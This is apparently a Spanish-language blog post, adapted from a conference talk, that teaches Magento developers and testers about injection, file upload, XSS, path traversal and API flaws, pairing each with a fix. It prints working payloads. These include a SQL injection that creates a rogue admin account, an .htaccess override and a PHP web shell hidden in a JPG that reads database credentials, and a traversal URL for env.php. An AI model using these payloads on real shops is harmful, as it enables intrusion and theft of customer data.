Seguridad de Magento desde el punto de vista de los desarrolladores y evaluadores

¡Hola a los lectores del blog de Amasty!

Este otoño, Lera de Amasty, directora del departamento de control de calidad, y Alex, un desarrollador experimentado de Magento, hablaron en un evento Meet Magento en Madrid.

Para nuestra alegría, muchas personas mostraron un interés activo en este tema, es por eso que publicamos el texto adaptado del discurso en caso de que desee obtener más detalles sobre el tema.

Juntos, estamos hablando de la seguridad de Magento hoy. Ahora bien, ¿por qué es tan importante? Es posible que haya oído hablar de todo tipo de fraudes que ocurren allí, como

  • Robo masivo de información de facturación de tiendas Magento en 2013
  • Kevin Mitnick ataca
  • y solo historias aleatorias sobre dinero robado en línea de sus familiares y amigos

¡No es bueno! Y tampoco quieres que te hackeen. Así que ahora hablaremos sobre formas de evitar tales casos.

Hablando con franqueza, ahora estamos hablando de nuestra propia experiencia, no de un libro de texto. Enfrentamos una vulnerabilidad en una extensión lanzada de Amasty. Por supuesto, solucionamos el problema rápidamente, pero lo que es más importante, aprendimos mucho de este caso e hicimos que nuestros productos fueran aún más seguros. Pero cuando se trata de seguridad, siempre estamos dispuestos a aprender de los errores de otras personas. Todos trabajamos con Magento, nuestra plataforma favorita de todos los tiempos. Tenemos más de 200 extensiones en nuestra tienda, y cada una de ellas debe ser segura.

¡La seguridad de la tienda en línea es crucial! ¿Por qué?

  • en primer lugar, debe proteger los datos personales de los clientes . Los piratas informáticos lo están utilizando para muchos propósitos.
  • en segundo lugar, no desea revelar ninguna información de su negocio , como próximos productos y campañas, asociaciones y asuntos financieros. ¡Puede dañar su negocio!
  • en tercer lugar, los piratas informáticos están buscando formas de obtener información de tarjetas de crédito y débito , principalmente para robarles dinero. Su trabajo es prevenir esto.
  • y por último, pero no menos importante, si le preocupa la seguridad, los clientes confiarán en usted .

Hoy aprenderás sobre:

  • patrones típicos de brechas de seguridad en Magento
  • cómo revelarlos durante la prueba
  • y cómo evitarlos mientras se escribe código

Esta presentación será útil para:

  • comerciantes
  • especialistas en control de calidad
  • Desarrolladores Magento

Conociendo a tus enemigos

Ahora bien, ¿Cómo saber de qué nos estamos defendiendo? La lista de las vulnerabilidades de seguridad populares de magento está disponible en la página del proyecto Open Web Application Security . Lo usaremos como referencia para todos los puntos de nuestra publicación de hoy.

De acuerdo con esta lista, aquí están las principales vulnerabilidades a probar en Magento de las que hablamos hoy.

  • Inyecciones: inyecciones de SQL, inyecciones de archivos, inyecciones de código 
  • Secuencias de comandos entre sitios
  • Referencias a objetos directos inseguros
  • Autenticación rota y gestión de sesiones.
  • API
  • Más cosas de seguridad

INYECCIONES SQL

Y estamos empezando con las inyecciones. Los piratas informáticos tienen varias formas de introducir o inyectar el código en su aplicación. Esto les permite acceder a información oculta o privada.

El tipo más popular de inyecciones es la inyección SQL. Su objetivo es obtener acceso a la base de datos de un sitio web. Estos son los principales patrones de inyecciones de SQL que debería estar buscando.

  • Uso de variables GET POST sin validación y procesamiento

[php]$datos = $modelo->getData(GET[‘field_name’])[/php]

  • Consultas SQL sin procesar

[php]$sql = «INSERTAR EN $tabla (attribute_id, store_id, $entityIdName, `value`) «;

$db->consulta($sql);


[/php]

  • Construcción de parámetros de consultas WHERE mediante concatenación. En tal condición, una variable puede no tener escape y contener código SQL como una amenaza potencial.

[php]

$select->where(‘attribute_id = ‘. $attributeId);[/php]

  • Lo mismo ocurre con las funciones -order() -> join() ->group()

Inyecciones de SQL a través de formularios

Esto es lo que encontramos en una extensión que estábamos probando hace un par de semanas:

[php]$datosdeusuario = $conexión->fetchRow(«SELECT firstname, lastname FROM admin_user WHERE nombredeusuario = ‘» . $observer->getUserName() . «‘»);[/ php]

La variable se toma directamente del campo de nombre de usuario. Significa que puede agregar las comillas, cerrar la consulta actual e insertar una nueva maliciosa. ¡Es una vulnerabilidad! Veámoslo en acción.

Fui a la página de inicio de sesión del administrador de Magento e inserté el código de inyección SQL:

[php] prueba’;SET @SALT = «rp»; SET @PASS = CONCAT(MD5( CONCAT(@SALT, «super_secure_password») ), CONCAT(«:», @SALT)); SELECCIONE @EXTRA := MAX(extra) DESDE admin_user DONDE extra NO ES NULO; INSERTAR EN `admin_user` (nombre, apellido, correo electrónico, nombre de usuario, contraseña, creado, lognum, reload_acl_flag, is_active, extra, rp_token_created_at) VALORES (‘BREAKING’, ‘DONE’, ‘email@yourdomain.com’, ‘hacker’, @PASS,AHORA(), 0, 0, 1, @EXTRA,AHORA()); INSERTAR EN `admin_role` (parent_id, tree_level, sort_order, role_type, user_id, role_name) VALORES (1, 2, 0, ‘U’, (SELECCIONE user_id FROM admin_user WHERE nombre de usuario = ‘su_nombre de usuario’), ‘BREAKING’); seleccione * de ‘usuario_admin[/php]

Para hacerlo más vívido, cambiamos el campo de entrada a área de texto. No necesitamos pasar por el código de la inyección. Lo que necesitamos es saber que crea un superadministrador con permisos ilimitados.

Arreglemos el código para evitar esta infracción. Aquí está el código antes:

[php]$datosdeusuario = $conexión->fetchRow(«SELECT firstname, lastname FROM admin_user WHERE nombredeusuario = ‘» . $observer->getUserName() . «‘»);[/ php]

Y después:

[php]$datosusuario = Mage::getModel(‘admin/usuario’)->loadByUsername($observador->getUser()->getUsername());[/php]

Ahora pasamos el parámetro a la función de carga, y en el modelo se escapa mediante la función WHERE.

Inyecciones de SQL a través de URL

Además, los parámetros se pueden pasar a través de la inyección no solo de esta manera. Se puede hacer en la URL usando el método GET. Esta vulnerabilidad es similar a la anterior. La diferencia está solo en los datos aceptados.

Ahora conocemos estos patrones y podemos analizar todos los parámetros pasados ​​al controlador para cerrar los agujeros de seguridad.

Inyecciones de SQL a través de cookies

Las cookies también pueden ser vulnerables a los ataques. Esto es lo que encontramos en una muestra de código:

[php]$userName = Mage::app()->getCookie()->get(‘actual_usuario’);

$colección->getSelect()-where(‘username=’ . $userName);


[/php]

El parámetro de la cookie se pasa a la colección y no se controla. Estamos configurando estos valores de cookies en el inicio de sesión del usuario. ¿Podemos confiar en él? Bueno, sí. Pero un hacker aún puede cambiarlo externamente.

¡OK entonces! Corrijamos el código:

[php]$userName = Mage::app()->getCookie()->get(‘actual_usuario’);

$colección->getSelect()-where(‘username=?’, $userName);
[/php]

Es un pequeño cambio. Pero le informas a Magento qué parámetros debe citar.

¿Tenemos algo más? ¿Confiamos en el contenido de la base de datos? ¿Datos de configuración del sistema, por ejemplo? Bueno, lo hacemos. Ya se han manejado. Y los administradores lo están configurando, por cierto. Pero aquí hay una salida para un hacker.

Inyecciones de SQL a través de los datos de configuración del sistema

Digamos que el administrador del sitio creó un rol separado con permisos para una sola sección de configuración. El usuario inicia sesión allí e inyecta el siguiente código:

[php] $consulta = $consulta . ‘DONDE fecha_hora < AHORA() – INTERVALO ‘ . $días. ‘ DÍA’;

Mage::getSingleton(‘núcleo/recurso’)->getConnection(‘core_write’) ->consulta($consulta) ;[/php]

Está dirigido por cron. Y cuando se ejecuta, el usuario obtiene permisos ilimitados y puede hacer lo que quiera. ¡El área trasera también debe estar asegurada! Arreglemos esto:

[php]$días = (int)$días;

$consulta = «ELIMINAR DE `$tableLoginAttemptsName`»;


$consulta = $consulta .
‘DONDE fecha_hora < AHORA() – INTERVALO :días DÍA’;


Mage::getSingleton(‘core/resource’)->getConnection(‘core_write’)->query( $consulta, array(‘days’ => $days));[/php ]

Inyecciones de archivos

A medida que cerramos estos agujeros, pasamos a inyecciones de archivos. En las tiendas de comercio electrónico, no se encuentra con la carga de archivos con tanta frecuencia. Por lo tanto, es más fácil comprobar si hay alguna vulnerabilidad.

Este es un ejemplo de una extensión de atributos del cliente. Hay un campo de carga de archivos en él. Intentamos descargar un archivo PHP en lugar de una imagen.

Si su atributo no está configurado para aceptar solo ciertas extensiones de archivo, podremos cargar archivos maliciosos de cualquier tipo. Después de eso, podremos ejecutar el archivo si sabemos dónde está almacenado: http://example.com/pub/media/customer/c/o/code.php

Buen tiro, pero no esta vez! Esto es lo que verá:

Somos inteligentes y configuramos el htaccess para detener la ejecución de cualquier archivo php en la carpeta de medios.

Orden denegar, permitir

Negar todo

¿Y si subimos nuestro propio htaccess?

http://ejemplo.com/media/cliente/_/h/.htaccess

¿Con esta pieza adentro?

[php]

<IfModule mod_php5.c>


php_flag motor 1


&lt;/IfModule&gt;

&lt;IfModule mod_php7.c&gt;

php_flag motor 1


&lt;/IfModule&gt;

Ordenar permitir, denegar

Permitir de todos


[/php]

Me permite cargar el archivo php en la carpeta multimedia y ejecutarlo. ¡Ver por ti mismo!

http://ejemplo.comy/media/cliente/_/h/.hcode.php

Esta vez, prohibimos cargar archivos PHP. Luego, bloqueamos la carga de htaccess y finalmente implementamos la carga de archivos a través de Magento Uploader. Tiene una función para verificar las extensiones de archivo. Voilá.

Pero los piratas informáticos no se detendrán ahí. Subirán un archivo JPG, pero con una pieza oculta de código PHP dentro. ¡Si se ejecuta, obtendrán acceso a la base de datos! En caso de que htaccess les permita hacerlo, por supuesto. Obtengamos el archivo anterior y agreguemos la siguiente línea en él:

Aplicación AddType /x-httpd-php.jpg

Nos permite ejecutar el código desde la imagen. Usando una herramienta especial, digamos, jhead, cambiamos esta imagen de manzana. Y deja algún código malicioso dentro:

[php]

&lt;estilo&gt;cuerpo{font-size: 0;}h1{font-size: 12px}&lt;/style&gt;&lt;h1&gt;&lt;? php if(isset($_REQUEST[‘cmd’])){$prueba = require_once («../../../../../app/etc/env.php»);var_dump($ test[«db»]);echo «Éxito»;}else{echo ‘&lt;img src=»./.h-apple-orig.jpg»
borde=0&gt;’;}


[/php]

Visualmente, la imagen no ha cambiado. Si el parámetro GET no está vacío, el resultado es el acceso a la base de datos.

http://example.com/pub/media/customer/_/h/.h-apple.jpg?cmd=test

Ahora solo abrimos esta URL…

Para detener esta locura, usemos esta parte del código para cargar imágenes:

[php]

$uploader = new Mage_Core_Model_File_Uploader(‘imagen’);

if ($permitido = $this-&gt;getAllowedExtensions($type)) {


$uploader-&gt;setAllowedExtensions($allowed);


}


$cargador-&gt;setAllowRenameFiles(true);


$uploader-&gt;setFilesDispersion(false);


[/php]

Afortunadamente, algunos chicos increíbles en Magento crearon una solución segura. Usemos este método:

[php]$uploader-&gt;addValidateCallback(

Mage_Core_Model_File_Validator_Image::NAME,


Mage::getModel(‘core/file_validator_image’),


‘validate’


);


[/php]

Comprueba el código en busca de valores de extensión de archivo aceptables y vuelve a guardar la imagen. Cualquier código que pudiera ejecutarse será eliminado en este punto.

¡Ahora estamos a salvo de las inyecciones! Para resumir, siempre verifique el código de los patrones mencionados, formularios de prueba, cookies, URL e incluso configuraciones de configuración para brechas de seguridad.

Use la escritura y el escape de datos, valide los datos para los límites de confianza y use las funciones de Magento para la generación SELECT.

SCRIPTING ENTRE SITIOS

Scripting entre sitios – Frontend

En general, al probar los agujeros XSS, es importante comprender los patrones de comportamiento. Busque lugares donde los usuarios ingresen datos y otros usuarios puedan verlos. Luego verifique si el código se manejó para texto html.

Si los datos del archivo del controlador se guardan de esta manera:

[php]

$customData = $this-&gt;getRequest()-&gt;getParams();


$modelo-&gt;setCustomData($customData)


$modelo-&gt;save();


[/php]

Y la plantilla del módulo contiene un código como este:

[php]

&lt;?php echo $modelo-&gt;getCustomData()?&gt;[/php]

… lo más probable es que la salida de datos no haya sido manejada. Y si el texto tiene una vulnerabilidad XSS que no se manejó, funcionará. Veamos cómo va esto en la vida real.

Vamos a probar la extensión de formularios personalizados. Recopila los datos de los usuarios y le permite verlos en el backend.

Ponemos un código javascript en el campo de texto de la extensión. El código contiene un enlace a una imagen y tenemos acceso al servidor donde está almacenado. Con la función document.cookie, obtenemos la cookie del usuario y la pasamos como parámetro de obtención a la ubicación de la imagen. A medida que enviamos el formulario, el administrador puede ver el mensaje en el área de back-end de Datos enviados. No parece sospechoso, pero le robarán la galleta.

Ahora podemos obtener la cookie de administración robada del access.log de nuestro servidor.

Y si agregamos la cookie robada a nuestro navegador para el sitio web comprometido, podemos acceder al panel de administración sin iniciar sesión. TAN malo.

Es por eso que los administradores de tiendas deben hacer que sus cookies sean solo HTTP. Pero incluso si no lo hicieron, aún podemos proteger el formulario. Manejemos todos los valores de salida con la siguiente función:

[php]$valor = $este-&gt;ayudante-&gt;escapeHtml($valor);[/php]

Por cierto, si necesitamos generar HTML, podemos pasar la lista de etiquetas que no se escaparán, como segundo parámetro.

[php]función pública escapeHtml($data, $allowedTags = null) [/php]

Secuencias de comandos entre sitios: backend

Bien, veo que ha protegido al usuario administrador, pero ¿qué pasa con los datos personales de los clientes? Tome la extensión Tarifas de tabla de envío. Permite a los comerciantes agregar sus propios métodos de envío. Digamos que es un administrador común y solo tiene acceso a la configuración de los métodos de envío. Puede insertar el código en el comentario del método de envío y le permite robar los datos de la tarjeta de crédito. No le mostramos este código en este momento porque es complicado y envía datos a otro servidor. Pero sabes que puedes hacerlo, y aquí tienes la alerta con los datos de las tarjetas de crédito.

Ahora, cuando un usuario compra algo en este sitio, puede acceder a los datos de su tarjeta de crédito y comprar lo que quiera. 

Básicamente, esto significa que no se trata solo de proteger a los administradores de los usuarios. Se trata de proteger a todos de todos. Y en este caso la técnica para cerrar la vulnerabilidad será exactamente la misma que en el caso anterior.

REFERENCIAS DE OBJETO DIRECTO INSEGURO

Si no está demasiado abrumado, analicemos el siguiente punto. Referencia de objeto directo inseguro. sucede cuando un usuario aleatorio obtiene acceso a archivos que ni siquiera debería conocer. Una simple analogía: un agente de la CIA deja unos papeles clasificados en su escritorio y un limpiador los lee, bueno, porque puede. Veamos cómo funciona en Magento.

Magento almacena configuraciones (inicios de sesión y contraseñas) en el archivo app/etc/local.xml (env.php). Si un hacker lo tiene en sus manos, tendrá acceso a la base de datos y básicamente a todo el sitio.

Para detener este lío, debemos bloquear cualquier forma de descargar este archivo. Así que comenzamos a buscar código que genere un enlace para la descarga de archivos (bloqueadores y ayudantes). ¿Cómo puede un hacker obtener el archivo local.xml, si el sitio genera un enlace para un archivo completamente diferente? Echemos un vistazo al patrón. Aquí, para generar y pasar la ruta del archivo, se usa un parámetro de solicitud.

[php]

$archivo = $este-&gt;getRequest()-&gt;getParam(‘archivo’);


$fileName = CustomerMetadataInterface::ENTITY_TYPE_CUSTOMER.’/’.
$archivo;


[/php]

Y si pasamos el nombre de archivo de esta forma ‘../../../app/etc/env.php’, el sitio fusionará las líneas sin validación y nos dará el archivo de configuración.

Torturemos otra extensión, que permite a los comerciantes agregar un campo de carga de archivos a la cuenta del cliente. Vamos a subir un archivo con una imagen allí.

Ahora, tenemos una URL generada para descargar, y el archivo es un parámetro en ella. Usando cualquier consola de desarrollador, reemplacemos este parámetro con nuestro propio código, transformado con la función url_encode(). Ahora tenemos la siguiente URL:

http://example.com/amcustomerattr/index/viewfile/file/Li4vLi4vLi4vYXBwL2V0Yy9lbnYucGhw/customer_id/1/

Con solo un clic, obtuvimos el archivo de configuración y acceso a todo el sitio. Guau.

¿Cómo arreglar esta larga historia corta? Simplemente agregue la función que corrige la fusión de las partes de la ruta del archivo.

[php]

$archivo = Cargador::getCorrectFileName($archivo);


/**


* Nombre de archivo correcto con caracteres y espacios especiales


*


* @param string $fileName


* @return string


*/


public static function getCorrectFileName($fileName)


{


$fileName = preg_replace(‘/[^a-z0-9_\- \.]+/i’, ‘_’, $nombreArchivo);


$fileInfo = pathinfo($fileName);


if (preg_match(‘/^_+$/’, $fileInfo[‘filename’])) {


$fileName = ‘file.’
. $fileInfo[‘extensión’];


}


devuelve $nombreArchivo;


}


[/php]

AUTENTICACIÓN ROTA Y GESTIÓN DE SESIONES

Digamos que el sitio almacena un documento para cada uno de los clientes usando el mismo patrón de URL:

http://exmaple.com/media/customer/passport/1.jpg

http://ejemplo.com/medios/cliente/pasaporte/2.jpg

En este caso, una simple sesión de fuerza bruta y algo de lógica le permiten obtener las imágenes de todos los clientes. En una tienda Magento segura, el enlace del archivo se ve así:

http://example.com/amcustomerattr/index/viewfile/file/Li4vLi4vLi4vYXBwL2V0Yy9lbnYucGhw/customer_id/7dc4acc58270/

Se le pasa un ID de cliente. Si cualquier otro usuario hace clic en este enlace, obtendrá nada más que acceso denegado. ¡Simple, pero muy efectivo!

VULNERABILIDADES DE LA API

Ahora, hay otro punto importante de la seguridad de Magento. Debe prestar especial atención al flujo de trabajo de la API de Magento. Si observa el pago de Magento 2, verá que la API se usa aún más en estos días. Pero la API es otro punto de entrada para los malos. 

En primer lugar, nos gustaría mencionar la configuración de permisos correcta para crear API, recursos de ACL, para ser exactos.

Aquí hay un ejemplo. Tal vez haya creado una API insegura sin sección de recursos, y esta API crea una orden. Usando este agujero, un pirata informático puede crear una cantidad ilimitada de pedidos y vaciar su cantidad de existencias en un minuto, por lo que los clientes no podrán comprarle.

En segundo lugar, debe recordar que las inyecciones de SQL y los datos XSS también se pueden pasar a través de la API. Por lo tanto, aplique los patrones mencionados anteriormente mientras trabaja con las API.

MÁS COSAS DE SEGURIDAD DE MAGENTO

Por supuesto, hemos cubierto solo una parte de las vulnerabilidades de comercio electrónico existentes. Antes de concluir, nos gustaría mencionar rápidamente otros puntos importantes, ¡no los olvide también!

  • asegúrese de que los valores que guarde en las cookies de los usuarios no puedan dar acceso a datos no deseados debido a cambios de fuerza bruta ;
  • compruebe si las contraseñas de usuario y administrador son lo suficientemente seguras;
  • utilizar medidas de seguridad de back-end adicionales , como restricciones de IP;
  • instalar parches de seguridad a tiempo;
  • asegúrese de que las páginas que envían o muestran datos personales o de facturación deben usar HTTPS;
  • y configure sus servidores para mayor seguridad.

Por supuesto, puede utilizar varios instrumentos para realizar pruebas de seguridad de forma más rápida y sencilla. No estamos hablando de ellos hoy. Este tema califica para otra presentación completa. Nuestro propósito hoy fue explicar los patrones que usan los piratas informáticos para acceder a sus datos. Para utilizar estas herramientas, primero debe tener una idea clara de cómo se introducen los agujeros de seguridad en sus aplicaciones. Una vez que esté en ello, siéntase libre de experimentar con el software de prueba y la automatización.

Cómo probar Magento en busca de vulnerabilidades

Estos son los puntos sobre los que construir su proceso de prueba:

  1. Busque patrones comunes primero.
  2. Verifique todos los formularios para evitar inyecciones de SQL y JavaScript.
  3. Asegúrese de que sus URL no sean vulnerables a los datos no válidos pasados ​​a través de SOLICITUD.
  4. Revisa tus cookies.
  5. Pruebe la carga de archivos en busca de agujeros de seguridad.
  6. Verifique el acceso a los datos de los usuarios a través de enlaces directos.
  7. Las películas de hackers no están ayudando. 

Cómo desarrollar productos Magento para la seguridad

Y estos son nuestros consejos para escribir aplicaciones seguras para Magento.

  1. Valide todos los datos entrantes, utilice la tipificación de datos y valide los límites de confianza
  2. ¡ El escape de datos es imprescindible!
  3. La validación de datos para la API también es imprescindible.
  4. Usa las funciones de Magento , son geniales. Preste atención a las sugerencias del IDE, por ejemplo, para las consultas SQL sin procesar resaltadas.
  5. Asegúrese de que su entorno de servidor esté configurado para la seguridad.
  6. Piensa, piensa y luego vuelve a pensar. Piensa también como un hacker.

Eso es un resumen por hoy. Hemos presentado las principales vulnerabilidades que puede tener su tienda Magento y explicado cómo combatirlas. La codificación consciente y las pruebas adecuadas no son tan complicadas. Pero tener una tienda libre de vulnerabilidades es un factor clave para el éxito de su tienda. ¡Mantenerse a salvo!